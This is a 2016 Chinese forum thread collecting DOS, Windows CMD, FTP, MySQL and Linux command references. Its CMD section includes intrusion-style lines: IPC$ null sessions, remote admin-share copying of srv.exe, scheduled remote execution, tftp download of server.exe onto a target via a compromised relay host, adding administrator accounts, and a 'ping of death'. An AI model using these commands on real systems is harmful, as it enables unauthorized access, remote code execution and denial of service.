Board logo

标题: 2DOS学习之语言命令集中营(20160203) [打印本页]

作者: zzz19760225     时间: 2016-2-3 00:22    标题: 2DOS学习之语言命令集中营(20160203)

多语言的汇集,主要以DOS和LINUX的范围为主,包括windows的延伸。
---------------------------------------------------------------------------------
1DOS命令:attrib命令,           2楼
2百度  dos (DOS命令讲解)     3楼
3论坛命令帮助                          4楼










第一页-------------------------------------------------------------第一页

[ Last edited by zzz19760225 on 2016-2-3 at 12:17 ]
作者: zzz19760225     时间: 2016-2-3 00:23    标题: attrib命令

attrib命令:
<txd07 | 七级>
attrib 显示所有文件的属性;
参数:+r或-r [文件名] 设置文件属性是否为只读
   +h或-h [文件名] 设置文件属性是否隐含
   +s或-s [文件名] 设置文件属性是否为系统文件
   +a或-a [文件名] 设置文件属性是否为归档文件
    /s             设置包括子目录的文件在内的文件属性
   ,       设置所有属性文件为归档文件
<借过不用还 | 七级>
attrib
attrib指令用于修改文件的属性.文件的常见属性有:只读.存档.隐藏和系统.
只读属性是指文件只可以做读的操作.不能对文件进行写的操作.就是文件的写保护.
存档属性是用来标记文件改动的.即在上一次备份后文件有所改动.一些备份软件在备份的时候会只去备份带有存档属性的文件.
隐藏属性顾名思义即为隐藏文件.在通常情况下.在资源管理器中不显示带有隐藏属性的文件.
系统属性是指标注文件为系统文件.是系统需要调用的文件.

attrib指令的格式和常用参数为

ATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [/D]]

+ 设置属性。
- 清除属性。
R 只读文件属性。
A 存档文件属性。
S 系统文件属性。
H 隐藏文件属性。
[drive:][path][filename]
指定要处理的文件属性。
/S 处理当前文件夹及其子文件夹中的匹配文件。
/D 也处理文件夹。

attrib的用途不是很广泛.不过有的时候可以利用它来做一些方便的文件处理.比如U盘中感染了病毒.会在U盘的驱动器里建立多个隐藏的文件.其中会有一个名为autorun.inf的文件.这个文件会为U盘添加一个自动运行的菜单.如果把默认打开操作改成关联病毒程序.那么在你双击U盘的时候.就会感染U盘所带的病毒.通常情况下无法看到这些文件就没办法删除.可以用下面的步骤来清除.
以下假设我的U盘驱动器的盘符是L:."/*"与"*/"之间的内容为注释.在运行中敲入CMD确定便可以快速打开系统的命令提示符.运行的快捷键为"WIN"+"R".

C:\Documents and Settings\Administrator>L: /*进入L盘目录*/
L:\>dir/a /*这个指令是查看当前目录全部的文件.包括有隐藏属性的.可以用来查看是否有autorun.inf等文件.*/
L:\>attrib autorun.inf -a -s -r -h /*去掉autorun.inf的四种属性*/
L:\>del autorun.inf /*删除autorun.inf*/

然后拔掉U盘.再一次连接的时候U盘的自动运行菜单就没有了.当然.其他的病毒程序也可以如此操作.如果把autorun.inf换成*.*就可以一次对当前目录下全部文件进行操作了.如:

L:\>attrib *.* -a -s -r -h
作者: zzz19760225     时间: 2016-2-3 11:47    标题: 2百度 dos (DOS命令讲解) 3楼

百度
dos (DOS命令讲解) 编辑
我们使用计算机接触最频繁的就是DOS。DOS是英文Disk Operating System的缩写,意思是“磁盘操作系统”,顾名思义,DOS主要是一种面向磁盘的系统软件,说得简单些,DOS就是人给机器下达命令的集合,是存储在机器硬件里头的一些命令集,有了DOS,我们就可以更容易理解怎么给机器下命令,不必去深入了解机器的硬件结构,也不必去死记硬背那些枯燥2进制数字的机器命令,只需通过一些接近于英语的DOS命令,我们就可以轻松地完成绝大多数的日常操作。另外,DOS还能有效地管理在它控制下的各种软硬件资源,对它们进行合理的调度,所有的软件和硬件都在DOS的监控和管理之下,有条不紊地进行着运转。
中文名 “磁盘操作系统 外文名 Disk Operating System 简    称 DOS 实    质 面向磁盘的系统软件 分    支 微软Win9x系列,FreeDOS,PCDOS等
目录
1 常用命令
2 不常用命令
3 CMD命令
4 应用示例
DOS一款在20世纪末期流行的操作系统,它是一款面向磁盘的系统软件。它的用途非常广泛,大名鼎鼎的 Windows 98 就是基于它的。目前DOS依然活跃,比如FreeDOS。
常用命令编辑
1 dir
无参数:查看当前所在目录的文件和文件夹。
/s:查看当前目录已经其所有子目录的文件和文件夹。
/a:查看包括隐含文件的所有文件。
/ah:只显示出隐含文件。
/w:以紧凑方式(一行显示5个文件)显示文件和文件夹。
/p:以分页方式(显示一页之后会自动暂停)显示。
|more:前面那个符号是“\”上面的那个,叫做重定向符号,就是把一个
命令的结果输出为另外一个命令的参数。more也是一个命令,dir /w |more
得到的结果和dir /w /p的结果是一样的。
其他的参数大家可以用:dir/?查看。
2 cd
cd 目录名:进入特定的目录。如果看到有个目录显示为:abcdef ghi 就
输入:cd abcdef.ghi进入该目录。
cd\ 退回到根目录。
cd..退回到上一级目录。
3 md rd
md 目录名:建立特定的文件夹。 (dos下面习惯叫目录,win下面习惯叫文
件夹。)
rd 目录名:删除特定的文件夹。
4 cls
清除屏幕。 清除屏幕上所有的显示内容,只留下CLS命令前的路径
5 copy
copy 路径\文件名 路径\文件名 :把一个文件拷贝到另一个地方。
6 move
move 路径\文件名 路径\文件名 :把一个文件移动(就是复制+删除)到另
一个地方。
7 del
del 文件名:删除一个文件。
del *.*:删除当前文件夹下所有文件。
del不能删除文件夹。
8 deltree
删除文件夹和它下面的所有子文件夹还有文件,厉害。。。不要乱用。
9 format
format x: :x代表盘符,格式化一个分区。在dos下是用fat文件系统格式
化的,在windows2000安装的时候会问你要不要转换为ntfs。
10 type
type 文本文件名:显示出文本文件的内容。
11 edit
其实这是个小程序,编辑文本文件用的。
12 ren
ren 旧文件名 新文件名:改文件名。
      
      
mem 查看内存状况
more 分屏显示
move 移动文件、改目录名
rd 删除目录
ren 更改文件名
type 显示文件内容
sys 制作DOS系统盘
xcopy 拷贝目录与文件
attrib 设置文件属性
chkdsk 检查磁盘
date 显示及修改日期
defrag 磁盘碎片整理
doskey 重新调用DOS命令
emm386 扩展内存管理
fdisk 硬盘分区
help 帮助
label 设置卷标号
lh 将程序装入高端内存
memmaker内存优化管理
msd 系统检测
path 设置搜寻目录
prempt 设置提示符
restore 恢复备份文件
time 显示及修改时间
scandisk检测、修理磁盘
set 设置环境变量
smartdrv设置磁盘加速器
undelete恢复被删的文件
ftp远程文件上传或下载
telnet远程登录
常用命令具体介绍:
3.1、Dir
显示目录文件和子目录列表。
可以使用通配符(? 和 *),?表通配一个字符,*表通配任意字符
*.后缀
指定要查看后缀的文件。 上面其实也可以为“ . 后缀”,例如dir *.exe 等于dir .exe
/p
每次显示一个列表屏幕。要查看下一屏,请按键盘上的任意键。
/w
以宽格式显示列表,在每一行上最多显示 5 个文件名或目录名。
/s
列出指定目录及所有子目录中出现的每个指定的文件名。比win环境下的查找快多了
dir *.* -> a.txt 把当前目录文件列表写入a.txt
dir *.* /s -> a.txt 把当前目录文件列表写入a.txt,包括子目录下文件。
3.2、Attrib
显示、设置或删除指派给文件或目录的只读、存档、系统以及隐藏属性。如果在不含参数的情况下使用,则 attrib 会显示当前目录中所有文件的属性。
+r
设置只读属性。
-r
清除只读属性。
+a
设置存档文件属性。
-a
清除存档文件属性。
+s
设置系统属性。
-s
清除系统属性。
+h
设置隐藏属性。
-h
清除隐藏属性。
3.3、Cl*
清除显示在命令提示符窗口中的所有信息,并返回空窗口,即“清屏”
3.4、**it
退出当前命令解释程序并返回到系统。
3,5、format
格式化
/q
执行快速格式化。删除以前已格式化卷的文件表和根目录,但不在扇区之间扫描损坏区域。使用 /q 命令行选项应该仅格式化以前已格式化的完好的卷。
3.6、Ipconfig
显示所有当前的 TCP/IP 网络配置值、刷新动态主机配置协议 (DHCP) 和域名系统 (DNS) 设置。使用不带参数的 ipconfig 可以显示所有适配器的 IP 地址、子网掩码、默认网关。
/all
显示所有适配器的完整 TCP/IP 配置信息。
ipconfig 等价于 winipcfg,后者在ME、98 和 95 上可用。尽管 Windows XP 没有提供象 winipcfg 命令一样的图形化界面,但可以使用“网络连接”查看和更新 IP 地址。要做到这一点,请打开 网络连接,右键单击某一网络连接,单击“状态”,然后单击“支持”选项卡。
该命令最适用于配置为自动获取 IP 地址的计算机。它使用户可以确定哪些 TCP/IP 配置值是由 DHCP、自动专用 IP 地址 (APIPA) 和其他配置配置的。
3.7、md
创建目录或子目录
3.8、Move
将一个或多个文件从一个目录移动到指定的目录。
3.9、Nbtstat
显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 NetBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和注册的 Windows Internet 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。Nbtstat 命令行参数区分大小写。
-a remotename
显示远程计算机的 NetBIOS 名称表,其中,RemoteName 是远程计算机的 NetBIOS 计算机名称。
-A IPAddress
显示远程计算机的 NetBIOS 名称表,其名称由远程计算机的 IP 地址指定(以小数点分隔)。
3.10、Netstat
显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息(对于 IP、ICMP、TCP 和 UDP 协议)以及 IPv6 统计信息(对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议)。使用时如果不带参数,netstat 显示活动的 TCP 连接。
-a
显示所有活动的 TCP 连接以及计算机侦听的 TCP 和 U** 端口。
3.11、*ing
通过发送“网际消息控制协议 (ICMP)”回响请求消息来验证与另一台 TCP/IP 计算机的 IP 级连接。回响应答消息的接收情况将和往返过程的次数一起显示出来。Ping 是用于检测网络连接性、可到达性和名称解析的疑难问题的主要 TCP/IP 命令。如果不带参数,ping 将显示帮助。名称和Ip地址解析是它的最简单应用也是用的最多的。
-t
指定在中断前 ping 可以持续发送回响请求信息到目的地。要中断并显示统计信息,请按 CTRL-BREAK。要中断并退出 ping,请按 CTRL-C。
-lSize
指定发送的回响请求消息中“数据”字段的长度(以字节表示)。默认值为 32。size 的最大值是 65,527。
3.12、Rename (Ren)
更改文件的名称。
例如 ren *.abc *.cba
3.13、Set
显示、设置或删除环境变量。如果没有任何参数,set 命令将显示当前环境设置。
3.14、Shutdown
允许您关闭或重新启动本地或远程计算机。如果没有使用参数,shutdown 将注销当前用户。
-m ComputerName
指定要关闭的计算机。
-t xx
将用于系统关闭的定时器设置为 xx 秒。默认值是 20 秒。
-l
注销当前用户,这是默认设置。-m ComputerName 优先。
-s
关闭本地计算机。
-r
关闭之后重新启动。
-a
中止关闭。除了 -l 和 ComputerName 外,系统将忽略其它参数。在超时期间,您只可以使用 -a。
3.15、System File Checker (sfc)
win下才有,在重新启动计算机后扫描和验证所有受保护的系统文件。
/scannow
立即扫描所有受保护的系统文件。
/scanonce
一次扫描所有受保护的系统文件。
/purgecache
立即清除“Windows 文件保护”文件高速缓存,并扫描所有受保护的系统文件。
/cachesize=x
设置“Windows 文件保护”文件高速缓存的大小,以 MB 为单位。
3,16、type
显示文本文件的内容。使用 type 命令查看文本文件或者是bat文件而不修改文件
3.17、Tree
图像化显示路径或驱动器中磁盘的目录结构。
3.18、Xcopy
复制文件和目录,包括子目录。
/s
复制非空的目录和子目录。如果省略 /s,xcopy 将在一个目录中工作。
/e
复制所有子目录,包括空目录。
3.19、copy
将一个或多个文件从一个位置复制到其他位置
3.20、del
删除指定文件。
ftp和bat批命令和net和telnet由于子命令太多,这里不说了,不过这几个都是常用到的。
不常用命令编辑
append 设置非执行文件路径
debug 随机调试程序
diskcomp磁盘比较
expand 还原DOS文件
fasthelp 快速显示帮助信息
fc 文件比较
interink 启动服务器
intersvr 启动客户机
qbasic Basic集成环境
setver 设置版本
share 文件共享
subst 路径替换
tree 列目录树
unformat 恢复已格式化的磁盘
vsafe 防病毒
ver 显示DOS版本号
vol 显示磁盘卷标号
ctty 改变控制设备
DOS常用命令详解
dir 列文件名 deltree 删除目录树 cls 清屏 cd 改变当前目录
copy 拷贝文件 diskcopy 复制磁盘 del 删除文件 format 格式化磁盘
edit 文本编辑 mem 查看内存状况 md 建立子目录 move 移动文件、改目录名
more 分屏显示 type 显示文件内容 rd 删除目录
sys 制作DOS系统盘
ren 改变文件名 xcopy 拷贝目录与文件 chkdsk 检查磁盘 attrib 设置文件属性
fdisk 硬盘分区 date 显示及修改日期 label 设置卷标号 defrag 磁盘碎片整理
msd 系统检测 path 设置搜寻目录 share 文件共享 memmaker内存优化管理
help 帮助 restore 恢复备份文件 set 设置环境变量 time 显示及修改时间
tree 列目录树 debug 随机调试程序 doskey 重新调用DOS命令 prempt 设置提示符 undelete恢复被删的文件 scandisk检测、修理磁盘
diskcomp磁盘比较 append 设置非执行文件路径
expand 还原DOS文件 fasthelp快速显示帮助信息
fc 文件比较 interink启动服务器
setver 设置版本 intersvr启动客户机
subst 路径替换 qbasic Basic集成环境
vsafe 防病毒 unformat恢复已格式化的磁盘
ver 显示DOS版本号 smartdrv设置磁盘加速器
vol 显示磁盘卷标号 lh 将程序装入高端内存
ctty 改变控制设备 emm386 扩展内存管理
CMD命令编辑
net use [url=file://ip/ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空链接
net use [url=file://ip/ipc$]\\ip\ipc$[/url] "密码" /user:"用户名" 建立IPC非空链接
net use h: [url=file://ip/c$]\\ip\c$[/url] "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: [url=file://ip/c$]\\ip\c$[/url] 登陆后映射对方C:到本地为H:
net use [url=file://ip/ipc$]\\ip\ipc$[/url] /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user 用户名/del 删除用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view [url=file://ip/]\\ip[/url] 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at [url=file://ip/]\\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe [url=file://ip/***$]\\ip\***$[/url] 复制本地c:\srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy [url=file://ip/***$/svv.exe]\\ip\***$\svv.exe[/url] c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名erm 替换指定用户的访问权限;/G 用户名erm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysql*** -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的[url=file://mysql//bin]\\mysql\\bin[/url]目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
附:批处理命令与变量[1]  
1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %
应用示例编辑
(批处理)
echo on
  set LOG_HOME=D:\home\path\logs
  set DATA_HOME=D:\home\path\data
  set DATA_BACKUP_HOME=D:\home\path\data\backup
  set DATA_PROC_SUBFOLDER=err,processed,work
  set COUNTRY_LIST=sg,my
  set JOB_TYPE_EOD=eod
  set JOB_TYPE_IOD=iod
  set BATCH_JOB_LIST_EOD=eodtlm,eodfxc
  set BATCH_JOB_LIST_IOD=iodtlm,iodfxc
  set APPLICATION_LIST=webfitas,fxretail
  set APP_LIST_OTHER=saa,midas
  set MSG_TYPE_LIST=mt940,mt942
  echo "start to created folder"
  for %%C in (%COUNTRY_LIST%) do (
  echo "country code:" %%C
  for %%B in (%BATCH_JOB_LIST_EOD%) do (
  echo "Batch Job Name:" %%B
  for %%A in (%APPLICATION_LIST%) do (
  echo "Application Id:" %%A
  for %%S in (%DATA_PROC_SUBFOLDER%) do (
  echo "Sub-folder:" %%S
  mkdir %DATA_HOME%\%%C\%JOB_TYPE_EOD%\%%B\%%A\%%S
  )
  )
  )
  for %%B in (%BATCH_JOB_LIST_IOD%) do (
  echo "Batch Job Name:" %%B
  for %%A in (%APPLICATION_LIST%) do (
  echo "Application Id:" %%A
  for %%S in (%DATA_PROC_SUBFOLDER%) do (
  echo "Sub-folder:" %%S
  mkdir %DATA_HOME%\%%C\%JOB_TYPE_IOD%\%%B\%%A\%%S
  )
  )
  )
  for %%A in (%APPLICATION_LIST%) do (
  echo "Application Id:" %%A
  mkdir %LOG_HOME%\%%C\%JOB_TYPE_EOD%\%%A\
  )
  for %%A in (%APPLICATION_LIST%) do (
  echo "Application Id:" %%A
  mkdir %LOG_HOME%\%%C\%JOB_TYPE_IOD%\%%A\
  )
  for %%M in (%MSG_TYPE_LIST%) do (
  echo "Message Type:" %%M
  for %%T in (%APP_LIST_OTHER%) do (
  echo "Internation and Third Party Application Id:" %%T
  mkdir %DATA_BACKUP_HOME%\online\%%C\%%T\%%M
  )
  )
  )
  echo off
  pause
作者: zzz19760225     时间: 2016-2-3 12:16    标题: 3论坛命令帮助 4楼

3论坛命令帮助   4楼

论坛命令帮助
--------------------
Discuz! 命令提示符 [版本 4.0 Final]
版权所有© 2002-2007 中国DOS联盟。保留所有权利。

您已经登录为 zzz19760225。
如果您想查看帮助信息,请输入“help”。

A:\>  help
有关某个命令的详细信息,请键入HELP 命令名 (或 命令名 /?)。

BREAK    设置或清除扩展 Ctrl+C 检测。
CD       显示当前目录名或改变当前目录。
CHCP     显示或设置活动代码页编号。
CLS      清除屏幕。
CMD      启动或刷新命令处理器。
COLOR    设置默认的控制台前景和背景颜色。
DATE     显示当前日期。
DEL      删除文件。
DIR      显示目录内容。
ECHO     显示信息,或将命令回显打开或关上。
EDIT     启动文件编辑器,可用于建立和编辑文本文件的编辑器。
EXIT     退回 Web 界面。
FIND     在文件中搜索字符串。
FONT     列出所有可用字体或改变当前字体。
GOTO     跳转到批处理程序中带标签的行。
HELP     提供命令的帮助信息。
